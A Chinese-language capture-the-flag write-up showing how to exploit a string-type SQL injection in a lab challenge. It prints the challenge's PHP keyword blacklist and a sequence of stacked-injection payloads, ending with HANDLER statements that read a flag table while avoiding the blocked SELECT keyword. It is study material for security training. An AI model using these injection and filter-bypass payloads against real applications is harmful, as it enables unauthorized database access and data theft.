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回显为 2，可以判断出为字符型注入

输入 select，查看是否存在回显：

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

回显出了黑名单限制的关键字

没限制关键字 show，所以通过堆叠注入先查看库名：

1';show databases;#



继续获取表名：

1';show tables;



得到两个表： FlagHere和 words，查询 FlagHere表中详细结构：

1';desc FlagHere;



得到flag列，推测其应为flag，尝试获取其内容，但因关键字 select被限制，查询资料得知 HANDLER也可作为查询语句，且性能

比 select更好，因为其为非SQL标准语法，可以降低优化器对于SQL语句的解析与优化开销，从而提升查询性能。

具体语法：

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…) [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE

HANDLER可以通过指定的索引去访问数据。但此语法并不支持DML操作。

可构造如下的Payload：

1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#  



也就是通过HANDLER从 FlagHere表中，读取第一个索引记录，然后关闭。

黑名单限制了部分关键字，其中包含最主要的 SELECT关键字，通过堆叠注入的方式，使用 HANDLER作为查询语句，读取flag。
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